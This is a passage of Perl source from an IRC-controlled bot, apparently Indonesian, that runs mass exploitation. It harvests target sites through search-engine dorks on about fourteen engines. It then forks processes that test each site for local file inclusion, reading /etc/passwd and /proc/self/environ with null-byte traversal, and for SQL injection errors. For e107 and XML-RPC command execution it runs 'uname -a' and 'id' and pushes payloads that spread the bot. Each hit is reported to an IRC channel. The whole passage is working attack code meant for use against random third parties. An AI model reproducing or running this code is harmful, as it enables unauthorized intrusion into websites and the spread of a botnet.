elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../proc/self/environ%00&Origins=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{6}."LFI".$colz{1}."][".$colz{3}." http://".$situs.$bug."../../../../../../etc/passwd%00".$colz{1}." ]");}}}
elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../proc/self/environ%00&Origins=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{6}."LFI".$colz{1}."][".$colz{3}." http://".$situs.$bug."../../../../../etc/passwd%00".$colz{1}." ]");}}}
elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../proc/self/environ%00&Origins=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{6}."LFI".$colz{1}."][".$colz{3}." http://".$situs.$bug."../../../../etc/passwd%00".$colz{1}." ]");}}}
elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../proc/self/environ%00&Origins=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{6}."LFI".$colz{1}."][".$colz{3}." http://".$situs.$bug."../../../etc/passwd%00".$colz{1}." ]");}}}
elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../proc/self/environ%00&Origins=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{6}."LFI".$colz{1}."][".$colz{3}." http://".$situs.$bug."../../etc/passwd%00".$colz{1}." ]");}}}
elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../proc/self/environ%00&Origins=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{6}."LFI".$colz{1}."][".$colz{3}." http://".$situs.$bug."../etc/passwd%00".$colz{1}." ]");}}}
else {
$q = bukasitus("http://".$situs.$bug.$xsslfitst);
if ($q =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/) { irc_msg($chan,"[".$colz{6}."XSSLFI".$colz{1}."][".$colz{3}." http://".$situs.$bug."../../../../../../../../../../etc/passwd/[512b]/..".$colz{1}."]"); }
}
}
}
}
exit(0);
}
$num++;
}
irc_msg($chan,$colz{5}."MeNunGGu ".scalar(@prosesbaru)." PID ProSes EksPLoiTasi..") if (!$engine);
foreach my $f (@prosesbaru) { waitpid($f,0); }
irc_msg($chan,$colz{5}." $engine FiNizZ! ") if ($engine);
}
sub crsql_eksploit {
my ($chan,$bug,$dork,$tf,$engine,$type) = @_;
my @prosesbaru;
my @semuatarget;
my $hitung;
my $num = 0;
unless (open(FILEZ,"< $tf")) { msge($chan,"FILE",$colz{5}."Ga BiSa BuKa $tf!"); return; }
while (my $r = <FILEZ>) { $r =~ s/\n//g; push(@semuatarget,$r); }
close(FILEZ);
f_hapus($tf);
my @kotor = lnk_sortir(@semuatarget);
my @target = lnk_filter(@kotor);
foreach my $situs (@target) {
$hitung++;
if ($hitung % $conf{rfipid} == 0) {
foreach my $f (@prosesbaru) { waitpid($f,0); }
$num = 0;
}
if ($hitung % $conf{rficnt2} == 0) {
irc_msg($dbgchan,$situs) if ($conf{showsite} == 1);
irc_msg($chan,$colz{14}." $engine ".$colz{6}." ".$hitung." ".$colz{1}."=> ".$colz{14}." ".scalar(@target). " ");
}
$prosesbaru[$num] = fork();
if ($prosesbaru[$num] == 0) {
my $q;
if ($type == 1){
$q = bukasitus("http://".$situs.$bug.$sqltest);
} elsif ($type == 2){
$q = bukasituscrxml("http://".$situs.$bug,"uname -a");
}elsif ($type == 3){
$q = bukasituscre107("http://".$situs.$bug,"Origins VURN");
}elsif ($type == 4){
$q = bukasitus("http://".$situs.$bug.$xsslfitst);
}
if ($q =~ /sql syntax/) { irc_msg($chan,"[".$colz{6}."SQL".$colz{1}."][".$colz{3}." http://".$situs.$bug." ".$colz{1}."]".$colz{14}." foud error : sql syntax"); }
elsif ($q =~ /sql error/) { irc_msg($chan,"[".$colz{6}."SQL".$colz{1}."][".$colz{3}." http://".$situs.$bug." ".$colz{1}."]".$colz{14}." foud error : sql error"); }
elsif ($q =~ /right syntax to use near/) { irc_msg($chan,"[".$colz{6}."SQL".$colz{1}."][".$colz{3}." http://".$situs.$bug." ".$colz{1}."]".$colz{14}." foud error : right syntax to use near"); }
elsif ($q =~ /syntax error converting/) { irc_msg($chan,"[".$colz{6}."SQL".$colz{1}."][".$colz{3}." http://".$situs.$bug." ".$colz{1}."]".$colz{14}." foud error : syntax error converting"); }
elsif ($q =~ /unclosed quotation/) { irc_msg($chan,"[".$colz{6}."SQL".$colz{1}."][".$colz{3}." http://".$situs.$bug." ".$colz{1}."]".$colz{14}." foud error : unclosed quotation"); }
elsif (($q =~ /e107/) && ($q =~ /Origins(.*)scanner/)) { my $uname = $1; $uname=~s/\n//; $uname=~s/\r//; my $cekuname = $uname; if($cekuname =~ /php_uname/){ $uname = ""; } if($cekuname =~ /http/){ $uname = ""; } if($cekuname =~ /</){ $uname = ""; } bukasituscre107spred("http://".$situs.$bug,$Originscmd); bukasituscre107spred("http://".$situs.$bug,$e107sprd4); bukasituscre107spred("http://".$situs.$bug,$e107sprd3); bukasituscre107spred2("http://".$situs.$bug,$prl); bukasituscre107spred("http://".$situs.$bug,$e107sprd2); bukasituscre107spred("http://".$situs.$bug,$e107sprd);
my $e107safe = bukasituscre107("http://".$situs.$bug,"id"); if ($e107safe =~ /uid=/){
irc_msg($dbgchan,"[".$colz{6}."e107".$colz{1}."][".$colz{3}." http://".$situs.$bug." ".$colz{1}."] ".$colz{1}."[".$colz{7}."OFF".$colz{1}."] ".$colz{14}.$uname); irc_msg($chan,"[".$colz{6}."e107".$colz{1}."][".$colz{3}." http://".$situs.$bug." ".$colz{1}."] ".$colz{1}."[".$colz{7}."OFF".$colz{1}."] ".$colz{14}.$uname); } else {
irc_msg($chan,"[".$colz{6}."e107".$colz{1}."][".$colz{3}." http://".$situs.$bug." ".$colz{1}."] ".$colz{1}."[".$colz{5}."ON" .$colz{1}."] ".$colz{14}.$uname);
bukasituscre107spred2("http://".$situs.$bug,$prl);
}
}
elsif (($q =~ /Origins(.*)scanner/s) && ($bug !~ /contact.php/)) { my $uname = $1; $uname=~s/\n//; $uname=~s/\r//; my $cekuname = $uname; if($cekuname =~ /uname -a/){ $uname = ""; } if($cekuname =~ /http/){ $uname = ""; } if($cekuname =~ /</){ $uname = ""; }
irc_msg($chan,"[".$colz{6}."XML".$colz{1}."][".$colz{3}." http://".$situs.$bug." ".$colz{1}."] ".$colz{14}.$uname); bukasituscrxml("http://".$situs.$bug,$e107cmdsp3); bukasituscrxml("http://".$situs.$bug,$e107cmdsp2); bukasituscrxml("http://".$situs.$bug,$e107cmdsp); }
elsif ($q =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/) { irc_msg($chan,"[".$colz{6}."XSSLFI".$colz{1}."][".$colz{3}." http://".$situs.$bug."../../../../../../../../../../etc/passwd/[512b]/..".$colz{1}."]"); }
exit(0);
}
$num++;
}
irc_msg($chan,$colz{5}."MeNunGGu ".scalar(@prosesbaru)." PID ProSes EksPLoiTasi..") if (!$engine);
foreach my $f (@prosesbaru) { waitpid($f,0); }
irc_msg($chan,$colz{5}." $engine FiNizZ! ") if ($engine);
}
###########################
##[ RUTIN SEARCH ENGINE ]##
###########################
sub s_cari {
#Type: 1 = Cari saja, 2 = Cari dan eksploit, 3 = Cari dan eksploit Joomla
my ($chan,$dork,$nf,$bug,$type) = @_;
my @engz;
my $key = $dork;
$dork = urlen($key);
$engz[0] = fork(); if ($engz[0] == 0) { s_engine("google", "Google" ,$type,$chan,$bug,$dork,$nf); exit; }
$engz[1] = fork(); if ($engz[1] == 0) { s_engine("netscape", "Netscape" ,$type,$chan,$bug,$dork,$nf); exit; }
$engz[2] = fork(); if ($engz[2] == 0) { s_engine("yahoo", "Yahoo" ,$type,$chan,$bug,$dork,$nf); exit; }
$engz[3] = fork(); if ($engz[3] == 0) { s_engine("live", "Live" ,$type,$chan,$bug,$dork,$nf); exit; }
$engz[4] = fork(); if ($engz[4] == 0) { s_engine("google2", "Google2" ,$type,$chan,$bug,$dork,$nf); exit; }
$engz[5] = fork(); if ($engz[5] == 0) { s_engine("altavista", "Altavista" ,$type,$chan,$bug,$dork,$nf); exit; }
$engz[6] = fork(); if ($engz[6] == 0) { s_engine("alltheweb", "AllTheWeb" ,$type,$chan,$bug,$dork,$nf); exit; }
$engz[7] = fork(); if ($engz[7] == 0) { s_engine("goodsrch", "GoodSearch" ,$type,$chan,$bug,$dork,$nf); exit; }
$engz[8] = fork(); if ($engz[8] == 0) { s_engine("lycos", "Lycos" ,$type,$chan,$bug,$dork,$nf); exit; }
$engz[9] = fork(); if ($engz[9] == 0) { s_engine("uol", "Uol" ,$type,$chan,$bug,$dork,$nf); exit; }
$engz[10] = fork(); if ($engz[10] == 0) { s_engine("virgilio", "Virgilio" ,$type,$chan,$bug,$dork,$nf); exit; }
$engz[11] = fork(); if ($engz[11] == 0) { s_engine("webde", "Web.de" ,$type,$chan,$bug,$dork,$nf); exit; }
$engz[12] = fork(); if ($engz[12] == 0) { s_engine("clusty", "Clusty" ,$type,$chan,$bug,$dork,$nf); exit; }
$engz[13] = fork(); if ($engz[13] == 0) { s_engine("hotbot", "Hotbot" ,$type,$chan,$bug,$dork,$nf); exit; }
foreach my $e (@engz) { waitpid($e,0); }
}
sub crsql_cari {
my ($chan,$bug,$dork,$nf,$type) = @_;
my @engz;
my $key = $dork;
$dork = urlen($key);
$engz[0] = fork(); if ($engz[0] == 0) { crsql_engine("google", "Google" ,$chan,$bug,$dork,$nf,$type); exit; }
$engz[1] = fork(); if ($engz[1] == 0) { crsql_engine("netscape", "Netscape" ,$chan,$bug,$dork,$nf,$type); exit; }
$engz[2] = fork(); if ($engz[2] == 0) { crsql_engine("yahoo", "Yahoo" ,$chan,$bug,$dork,$nf,$type); exit; }
$engz[3] = fork(); if ($engz[3] == 0) { crsql_engine("live", "Live" ,$chan,$bug,$dork,$nf,$type); exit; }
$engz[4] = fork(); if ($engz[4] == 0) { crsql_engine("google2", "Google2" ,$chan,$bug,$dork,$nf,$type); exit; }
$engz[5] = fork(); if ($engz[5] == 0) { crsql_engine("altavista", "Altavista" ,$chan,$bug,$dork,$nf,$type); exit; }
$engz[6] = fork(); if ($engz[6] == 0) { crsql_engine("alltheweb", "AllTheWeb" ,$chan,$bug,$dork,$nf,$type); exit; }
$engz[7] = fork(); if ($engz[7] == 0) { crsql_engine("goodsrch", "GoodSearch" ,$chan,$bug,$dork,$nf,$type); exit; }
$engz[8] = fork(); if ($engz[8] == 0) { crsql_engine("lycos", "Lycos" ,$chan,$bug,$dork,$nf,$type); exit; }
$engz[9] = fork(); if ($engz[9] == 0) { crsql_engine("uol", "Uol" ,$chan,$bug,$dork,$nf,$type); exit; }
$engz[10] = fork(); if ($engz[10] == 0) { crsql_engine("virgilio", "Virgilio" ,$chan,$bug,$dork,$nf,$type); exit; }
$engz[11] = fork(); if ($engz[11] == 0) { crsql_engine("webde", "Web.de" ,$chan,$bug,$dork,$nf,$type); exit; }
$engz[12] = fork(); if ($engz[12] == 0) { crsql_engine("clusty", "Clusty" ,$chan,$bug,$dork,$nf,$type); exit; }
$engz[13] = fork(); if ($engz[13] == 0) { crsql_engine("hotbot", "Hotbot" ,$chan,$bug,$dork,$nf,$type); exit; }
foreach my $e (@engz) { waitpid($e,0); }
}
sub crsql_engine {
my ($f,$se,$chan,$bug,$dork,$ef,$type) = @_;
my @hc;
if ($f eq "google" ) { @hc = se_google($chan,$dork,$ef); }
elsif ($f eq "google2" ) { @hc = se_google_m($chan,$dork,$ef); }
elsif ($f eq "yahoo" ) { @hc = se_yahoo($chan,$dork,$ef); }
elsif ($f eq "altavista") { @hc = se_altavista($chan,$dork,$ef); }
elsif ($f eq "alltheweb") { @hc = se_alltheweb($chan,$dork,$ef); }
elsif ($f eq "goodsrch" ) { @hc = se_goodsearch($chan,$dork,$ef); }
elsif ($f eq "lycos" ) { @hc = se_lycos($chan,$dork,$ef); }
elsif ($f eq "live" ) { @hc = se_live($chan,$dork,$ef); }
elsif ($f eq "hotbot" ) { @hc = se_hotbot($chan,$dork,$ef); }
elsif ($f eq "virgilio" ) { @hc = se_virgilio($chan,$dork,$ef); }
elsif ($f eq "webde" ) { @hc = se_webde($chan,$dork,$ef); }
elsif ($f eq "uol" ) { @hc = se_uol($chan,$dork,$ef); }
elsif ($f eq "netscape" ) { @hc = se_netscape($chan,$dork,$ef); }
elsif ($f eq "clusty" ) { @hc = se_clusty($chan,$dork,$ef); }
my @cl = lnk_sortir(@hc);
msgr($chan,$colz{14}.$se,$colz{6}." ".scalar(@hc),$colz{14}."=(".$colz{6}."Xcode".$colz{14}.")=>".$colz{7}." ".scalar(@cl));
if (scalar(@cl) == 0) { exit; }
my $ef2 = $f.$ef;
foreach my $e (@cl) { f_simpan($ef2,$e); }
crsql_eksploit($chan,$bug,$dork,$ef2,$se,$type);
}
sub s_engine {
my ($f,$se,$type,$chan,$bug,$dork,$ef) = @_;
my @hc;
if ($f eq "google" ) { @hc = se_google($chan,$dork,$ef); }
elsif ($f eq "google2" ) { @hc = se_google_m($chan,$dork,$ef); }
elsif ($f eq "yahoo" ) { @hc = se_yahoo($chan,$dork,$ef); }
elsif ($f eq "altavista") { @hc = se_altavista($chan,$dork,$ef); }
elsif ($f eq "alltheweb") { @hc = se_alltheweb($chan,$dork,$ef); }
elsif ($f eq "goodsrch" ) { @hc = se_goodsearch($chan,$dork,$ef); }
elsif ($f eq "lycos" ) { @hc = se_lycos($chan,$dork,$ef); }
elsif ($f eq "live" ) { @hc = se_live($chan,$dork,$ef); }
elsif ($f eq "hotbot" ) { @hc = se_hotbot($chan,$dork,$ef); }
elsif ($f eq "virgilio" ) { @hc = se_virgilio($chan,$dork,$ef); }
elsif ($f eq "webde" ) { @hc = se_webde($chan,$dork,$ef); }
elsif ($f eq "uol" ) { @hc = se_uol($chan,$dork,$ef); }
elsif ($f eq "netscape" ) { @hc = se_netscape($chan,$dork,$ef); }
elsif ($f eq "clusty" ) { @hc = se_clusty($chan,$dork,$ef); }
my @cl = lnk_sortir(@hc);
msgr($chan,$colz{14}.$se,$colz{6}." ".scalar(@hc),$colz{14}."=(".$colz{6}."Xcode".$colz{14}.")=>".$colz{7}." ".scalar(@cl));
if (scalar(@cl) == 0) { exit; }
if ($type == 1) { foreach my $e (@cl) { f_simpan($ef,$e); } }
else {
my $ef2 = $f.$ef;
foreach my $e (@cl) { f_simpan($ef2,$e); }
if ($type == 2) { s_eksploit(2,$chan,$bug,$dork,$ef2,$se); }
elsif ($type == 3) { s_eksploit(3,$chan,$bug,$dork,$ef2,$se); }
}
}
##[ GOOGLE ]##
sub se_google {
my ($chan,$key,$nf) = @_;
my @daftar;
my $num = 50; my $max = 5000; my $p = 0;
my $url = "http://www.google.co.id/search?q=".$key."$num=".$num."&filter=0&start=".$p;
my $murl = "http://www.google.com";
my $nxurl;
my $q = bukasitus($url);
if ( $q !~ /2010 Google/ ) { msge($chan,$colz{3}."Google",$colz{5}."Baned!!"); msge($chan,$colz{3}."Google bypas:",$colz{14}.$bypass."key=".$colz{3}.$key); @daftar = se_gbypass($chan,$key,$nf); }
if ( $q =~ /dari sekitar <b>(.+?)<\/b>/ ) {
my $h = $1; $h =~ s/,//g; msgt($chan,$colz{3}."Google",$colz{6}." $h");
}
if ( $q =~ /class=b><a href=\"(.*?)\">/ ) {
my $nxurl = $1; if ($conf{showdbse} == 1){msgn($dbgchan,"Google","$nxurl");}
}
while ( $q =~ m/<h3 class=r><a href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
for ($p=50;$p<=$max;$p+=$num) {
$nxurl = "http://www.google.co.id/search?q=".$key."$num=".$num."&filter=0&start=".$p;
$q = bukasitus($nxurl);
while ( $q =~ m/<h3 class=r><a href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
if ( $q !~ /<h3 class=r><a href=\"http:\/\/(.*?)\"/ ) { return @daftar; }
}
return @daftar;
}
##[ GOOGLE BYPASS ]##
sub se_gbypass {
my ($chan,$key,$nf) = @_;
my @daftar;
my $num = 50; my $max = 1000; my $p = 0;
my $url = $bypass."?key=".$key."&max=".$max;
my $nxurl;
my $q = bukasitus($url);
while ( $q =~ m/<h3 class=r><a href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
return @daftar;
}
##[ GOOGLE MULTI DOMAIN ]##
sub se_google_m {
my ($chan,$key,$nf) = @_;
my @daftar;
my $num = 50; my $max = 5000; my $p;
my @doms = (
"com","ae","com.ar","at","com.au","be","com.br","ca","ch","cl","de","dk","fi","fr","gr","com.hk",
"ie","co.il","it","co.jp","co.kr","lt","lv","nl","com.pa","com.pe","pl","pt","ru","com.sg",
"com.tr","com.tw","com.ua","co.uk","hu");
my $dom = $doms[rand(scalar(@doms))];
my $url = "http://www.google.".$dom."/search?num=".$num."&q=".$key."&filter=0";
my $murl = "http://www.google.".$dom;
my $nxurl;
my $q = bukasitus($url);
if ( $q =~ /class=b><a href=\"(.*?)\">/ ) {
my $nxurl = $1;
if ($conf{showdbse} == 1){msgn($dbgchan,"Google.".$dom,$nxurl);}
msgn($chan,$colz{3}."Google.".$dom,$colz{7}."LaGi NyAri..");
}
while ( $q =~ m/<h3 class=r><a href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
for ($p=50;$p<=$max;$p+=$num) {
$nxurl = "http://www.google.".$dom."/search?num=".$num."&q=".$key."&start=".$p."&sa=N";
$q = bukasitus($nxurl);
while ( $q =~ m/<h3 class=r><a href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
if ( $q !~ /<h3 class=r><a href=\"http:\/\/(.*?)\"/ ) { return @daftar; }
}
return @daftar;
}
##[ YAHOO ]##
sub se_yahoo {
my ($chan,$key,$nf) = @_;
my @daftar;
my $num = 30; my $max = 8000; my $p = "1";
my $url = "http://search.yahoo.com/search?p=".$key."&b=".$p;
my $murl;
my $nxurl;
my $q = bukasitus($url);
if ( $q =~ /id=\"infotext\"><p> .*? of(.*?) for/ ) {
my $h = $1; $h =~ s/,//g; msgt($chan,$colz{3}."Yahoo",$colz{6}." $h");
}
if ( $q =~ /999 Unable to process request at this time/ ) { msge($chan,$colz{3}."Yahoo",$colz{5}."Banned!"); }
if ( $q =~ /<a id=\"pg-next\" href=\"(.*?)\">Next/ ) {
my $nxurl = $1; if ($conf{showdbse} == 1){msgn($dbgchan,"Yahoo","$nxurl");}
}
while ( $q =~ m/26u=(.*?)%26w=/g ) { push (@daftar, $1); }
while ( $q =~ /<a id=\"pg-next\" href=\"(.*?)\">Next/ ) {
$p++; if ( $p > $max ) { return @daftar; }
$nxurl = $murl.htmltourl($1);
$q = bukasitus($nxurl);
while ( $q =~ m/26u=(.*?)%26w=/g ) { push (@daftar, $1); }
}
return @daftar;
}
##[ ALTAVISTA ]##
sub se_altavista {
my ($chan,$key,$nf) = @_;
my @daftar;
my $num = 10; my $max = 500; my $p;
for ($p=0;$p<=$max;$p += $num) {
my $url = "http://de.altavista.com/web/results?fr=altavista&itag=ody&kgs=0&kls=&b=21&q=".$key."&stq=".$p;
my $murl;
my $nxurl;
my $q = bukasitus($url);
if ( $q =~ /<a href=\"(.*?)\" target=\"_self\">Next/ ) {
my $nxurl = $1; if ($conf{showdbse} == 1){msgn($dbgchan,"Altavista","$nxurl");}
}
while ( $q =~ m/<span class=ngrn>(.*?) <\/span>/g ) { push (@daftar, $1); }
while ( $q =~ /<a href=\"(.*?)\" target=\"_self\">Next/ ) {
$nxurl = $murl.htmltourl($1);
$q = bukasitus($nxurl);
while ( $q =~ m/<span class=ngrn>(.*?) <\/span>/g ) { push (@daftar, $1); }
}
}
return @daftar;
}
##[ ALLTHEWEB ]##
sub se_alltheweb {
my ($chan,$key,$nf) = @_;
my @daftar;
my $num = 100; my $max = 20; my $p = 1;
#my $url = "http://localhost/search/www.alltheweb.com.htm";
my $url = "http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=".$num."&q=".$key."&o=".$p;
my $murl;
my $nxurl;
my $q = bukasitus($url);
if ( $q =~ /<span class=\"ofSoMany\">(.+?)<\/span>/ ) {
my $h = $1; $h =~ s/,//g; msgt($chan,$colz{3}."AllTheWeb",$colz{6}." $h");
}
if ( $q =~ /<a href=\"(.*?)\" class=\"rnavLink\">Next/ ) {
my $nxurl = $1; if ($conf{showdbse} == 1){msgn($dbgchan,"AllTheWeb","$nxurl");}
}
while ( $q =~ m/<span class=\"resURL\">http:\/\/(.+?)<\/span>/g ) { push (@daftar, $1); }
while ( $q =~ /<a href=\"(.*?)\" class=\"rnavLink\">Next/ ) {
$nxurl = $murl.htmltourl($1);
$q = bukasitus($nxurl);
while ( $q =~ m/<span class=\"resURL\">http:\/\/(.+?)<\/span>/g ) { push (@daftar, $1); }
}
return @daftar;
}
##[ GOODSEARCH ]##
sub se_goodsearch {
my ($chan,$key,$nf) = @_;
my @daftar;
my $num = 0; my $max = 300; my $p = 1;
#my $url = "http://localhost/search/www.goodsearch.com.html";
my $url = "http://www.goodsearch.com/Search.aspx?Keywords=".$key."&page=".$p."&osmax=".$num;
my $murl = "http://www.goodsearch.com/";
my $nxurl;
my $q = bukasitus($url);
if ( $q =~ /of about <strong>(.+?)<\/strong>/ ) {
my $h = $1; $h =~ s/,//g; msgt($chan,$colz{3}."GoodSearch",$colz{6}." $h");
}
if ( $q =~ m/ <span class=\"search_numberpager_nextprev\"><a href=\"(.+?)\">Next<\/a>/ ) {
my $nxurl = $1; if ($conf{showdbse} == 1){msgn($dbgchan,"GoodSearch","$nxurl");}
}
while ( $q =~ m/<a href=\"(Redirect.+?)\">http:\/\/(.*?)<\/a>/g ) { push (@daftar, $2); }
for ($p=2;$p<=$max;$p++) {
$url = "http://www.goodsearch.com/Search.aspx?Keywords=".$key."&page=".$p."&osmax=".$num;
$q = bukasitus($url);
while ( $q =~ m/<a href=\"(Redirect.+?)\">http:\/\/(.*?)<\/a>/g ) { push (@daftar, $2); }
if ( $q !~ m/<a href=\"(Redirect.+?)\">http:\/\/(.*?)<\/a>/g ) { return @daftar; }
}
return @daftar;
}
##[ UOL ]##
sub se_uol {
my ($chan,$key,$nf) = @_;
my @daftar;
my $num = 10; my $max = 1000; my $p;
#my $url = "http://localhost/search/busca.uol.com.br.htm";
my $url = "http://mundo.busca.uol.com.br/buscar.html?q=".$key."";
my $murl = "http://busca.uol.com.br";
my $nxurl;
my $q = bukasitus($url);
if ( $q =~ /results\">(.+?)<\/strong>/ ) {
my $h = $1; $h =~ s/,//g; msgt($chan,$colz{3}."Uol",$colz{6}." $h");
}
if ( $q =~ /<a href=\"(.*?)\" class=\"next\">/ ) {
my $nxurl = htmltourl($1); if ($conf{showdbse} == 1){msgn($dbgchan,"Uol","$nxurl");}
}
while ( $q =~ m/<dt><a href=\"http:\/\/(.*?)\">/g ) { push (@daftar, $1); }
for ($p=1;$p<=$max;$p += $num) {
$q = bukasitus("http://mundo.busca.uol.com.br/buscar.html?q=".$key."&start=".$p);
while ( $q =~ m/<dt><a href=\"http:\/\/(.*?)\">/g ) { push (@daftar, $1); }
if ( $q !~ /<dt><a href/ ) { return @daftar; }
}
return @daftar;
}
##[ LIVE ]##
sub se_live {
my ($chan,$key,$nf) = @_;
my @daftar;
my $num = 10; my $max = 100; my $p;
#my $url = "http://localhost/search/search.live.com.htm";
my $url = "http://search.live.com/results.aspx?q=".$key."&go";
my $murl = "http://search.live.com";
my $nxurl;
my $q = bukasitus($url);
if ( $q =~ /<a class=\"sb_pagN\" href=\"(.*?)\" onmousedown/ ) {
my $nxurl = $1; if ($conf{showdbse} == 1){msgn($dbgchan,"Live",htmltourl($nxurl));}
}
while ( $q =~ m/<h3><a href=\"http:\/\/(.*?)\"/g ) {
my $l = $1 ; if ($l !~ /google/) { push (@daftar, $l); }
}
for ( $p=0;$p<=$max;$p += $num ) {
$nxurl = $murl.htmltourl($1)."&go";
$q = bukasitus("http://search.live.com/results.aspx?q=".$key."&first=".$p."&FORM=PORE");
while ( $q =~ m/<h3><a href=\"http:\/\/(.*?)\"/g ) {
my $l = $1 ; if ($l !~ /google/) { push (@daftar, $l); }
}
}
return @daftar;
}
##[ CLUSTY ]##
sub se_clusty {
my ($chan,$key,$nf) = @_;
my @daftar;
my $num = 50;
#my $url = "http://localhost/search/clusty.com.htm";
my $url = "http://clusty.com/search?query=".$key."&input-form=clusty-simple&v:sources=webplus";
my $murl = "http://clusty.com";
my $nxurl;
my $q = bukasitus($url);
if ( $q =~ /intronum\">(.+?)<\/span>/ ) {
my $h = $1; $h =~ s/,//g; msgt($chan,$colz{3}."Clusty",$colz{6}." $h");
}
if ( $q =~ /<a class=\"listnext\" href=\"(.*?)\">next/ ) {
my $nxurl = $1; if ($conf{showdbse} == 1){msgn($dbgchan,"Clusty",htmltourl($nxurl));}
}
while ( $q =~ m/<a target=\"_top\" href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
while ( $q =~ /<a class=\"listnext\" href=\"(.*?)\">next/ ) {
$nxurl = $murl.htmltourl($1);
$q = bukasitus($nxurl);
while ( $q =~ m/<a target=\"_top\" href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
}
return @daftar;
}
##[ LYCOS ]##
sub se_lycos {
my ($chan,$key,$nf) = @_;
my @daftar;
my $num = 10; my $max = 200; my $p;
#my $url = "http://localhost/search/search.lycos.com.htm";
my $url = "http://search.lycos.com/?loc=searchbox&tab=web&adf=on&query=".$key."&submit=image";
my $murl = "http://search.lycos.com/";
my $nxurl;
my $q = bukasitus($url);
if ( $q =~ /<a href=\"(.*?)\">Next/ ) {
my $nxurl = $1; if ($conf{showdbse} == 1){msgn($dbgchan,"Lycos","$nxurl");}
}
while ( $q =~ m/<a href=\"http:\/\/(.*?)\" onmouseover/g ) { push (@daftar, $1); }
for ( $p=0;$p<=$max;$p++ ) {
$q = bukasitus("http://search.lycos.com/?query=".$key."&page2=".$p."&tab=web");
while ( $q =~ m/<a href=\"http:\/\/(.*?)\" onmouseover/g ) { push (@daftar, $1); }
if ( $q !~ m/<a href=\"http:\/\/(.*?)\" onmouseover/g ) { return @daftar; }
}
return @daftar;
}
##[ VIRGILIO ]##
sub se_virgilio {
my ($chan,$key,$nf) = @_;
my @daftar;
my $num = 10; my $max = 1000; my $p = 1;
for ( $p = 1;$p <= $max; $p += $num ) {
my $url = "http://ricerca.virgilio.it/ricerca?qs=".$key."&filter=1&site=&lr=&hits=10&offset=".$p;
my $murl = "http://ricerca.virgilio.it/";
my $nxurl;
my $q = bukasitus($url);
if ( $q =~ /<span>(.*?) risultati per <b>/ ) {
my $h = $1; $h =~ s/,//g; $h =~ s/\.//g;
msgt($chan,$colz{3}."Virgilio",$colz{6}." $h");
}
if ( $q =~ /<a href=\".*\s+<a href=\"(.*?)\"><span>Avanti/ ) {
my $nxurl = $1; if ($conf{showdbse} == 1){msgn($dbgchan,"Virgilio","$nxurl");}
}
while ( $q =~ m/<h3><a href=\"http:\/\/(.*?)\" class/g ) { push (@daftar, $1); }
while ( $q =~ /<a href=\".*\s+<a href=\"(.*?)\"><span>Avanti/ ) {
$nxurl = $murl.htmltourl($1);
$q = bukasitus($nxurl);
while ( $q =~ m/<h3><a href=\"http:\/\/(.*?)\" class/g ) { push (@daftar, $1); }
}
}
return @daftar;
}
##[ WEBDE ]##
sub se_webde {
my ($chan,$key,$nf) = @_;
my @daftar;
my $num = 1; my $max = 100; my $p;
for ( $p = 0;$p <= $max; $p += $num ) {
my $url = "http://suche.web.de/search/web/?pageIndex=".$p."&su=".$key."&y=0&x=0&mc=suche\@web\@navigation\@zahlen.suche\@web";
my $q = bukasitus($url);
